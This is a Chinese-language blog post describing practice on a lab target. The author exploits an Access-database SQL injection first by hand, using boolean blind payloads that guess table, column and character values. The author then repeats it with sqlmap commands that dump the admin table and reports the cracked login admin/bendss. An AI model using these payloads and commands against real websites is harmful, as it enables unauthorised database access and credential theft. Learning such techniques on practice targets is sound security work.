Access手工注入-练习

0x01 前言

学习Access数据库注入方式之后,总觉得不那么扎实,找个靶机巩固练习下。


手工猜解

0x02 寻找注入点

随便点开一个产品展示页面后,发现了?id=1406,测一下这里是不是注入点。


产品展示页面

测试结果如下:

  • ?id=1406' 页面回显异常
  • ?id=1406" 页面回显异常
    这时心里有了初步的判断,这里存在注入点,数字型注入。
    再使用and连接符确定下:
  • ?id=1406 and 1=1 页面回显正常
  • ?id=1406 and 1=2 页面回显异常
    此时心里已经有了明确的答案了,那,干就完了。

0x03 猜解表名

先盲猜一个admin表名,如果admin表存在,那么页面回显正常;如果admin表不存在,那么页面回显异常。结果运气不错,真的存在admin表名。
?id=1406 and exists(select * from admin)

猜解表名

0x04 猜解列数

接下来将通过猜解出来的表名来查询该表的列数:
?id=1406 and exists(select * from admin order by 6)

猜解列数

0x05 猜解列名

列名的猜解跟表名的猜解一个逻辑:
?id=1406 and exists(select id from admin)

猜解列名

这里对着Access数据库里的admin表猜出了所有的列名,分别是:
id、admin、password、login_count、count_time、popedom

0x06 猜解行数

猜完表名和列名后,就需要猜一下这张表一共有多少行:
?id=1406 and (select count(*) from admin)>10
如果行数大于10,则页面回显正常;否则页面回显错误。最后猜出来结果为1。

猜解行数

0x07 猜解字段值

这里仍然得依次猜解每列的字段值,逻辑是先猜长度,再猜每个字符,然后拼接。猜完这一列,还有下一列。

  1. 猜解admin列的值
  • 先猜admin列的值长度
    ?id=1406 and (select top 1 len(admin) from admin)=5
    这边表一共只有一行,本来是不用写top 1来限制行数的,但练习,特意写上给自己加深印象。
    这里查询到admin列的值为5
    admin列值的长度
  • 猜admin列值的字符
    • 第一个字符
      ?id=1406 and (select top 1 asc(mid(admin,1,1))from admin)=97
      页面显示正常,第一个字符是a
    • 第二个字符
      ?id=1406 and (select top 1 asc(mid(admin,2,1))from admin)=100
      页面显示正常,第二个字符是d
    • 第三个字符
      ?id=1406 and (select top 1 asc(mid(admin,3,1))from admin)=109
      页面显示正常,第三个字符是m
    • 第四个字符
      ?id=1406 and (select top 1 asc(mid(admin,4,1))from admin)=105
      页面显示正常,第四个字符是i
    • 第五个字符
      ?id=1406 and (select top 1 asc(mid(admin,5,1))from admin)=110
      页面显示正常,第五个字符是n
      以此类推,猜解password列的字段值。

使用sqlmap猜解

探测是否存在注入点

sqlmap -u "http://192.168.31.53:8001/Production/PRODUCT_DETAIL.asp?id=1406"

探测结果

可以看到数据库类型为access数据库,注入类型为布尔盲注。

猜解表名

sqlmap -u "http://192.168.31.53:8001/Production/PRODUCT_DETAIL.asp?id=1406" --tables

表名

猜解admin表中的列名

sqlmap -u "http://192.168.31.53:8001/Production/PRODUCT_DETAIL.asp?id=1406" -T admin --columns

列名

比手工注入出来少一个列名,不知道为啥。

查询admin和password的值

sqlmap -u "http://192.168.31.53:8001/Production/PRODUCT_DETAIL.asp?id=1406" -T admin -C admin -C password --dump

结果

可以看到已经跑出值了,将md5解密了一下,得到账号密码为admin/bendss


总结

还是sqlmap一把梭得劲。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容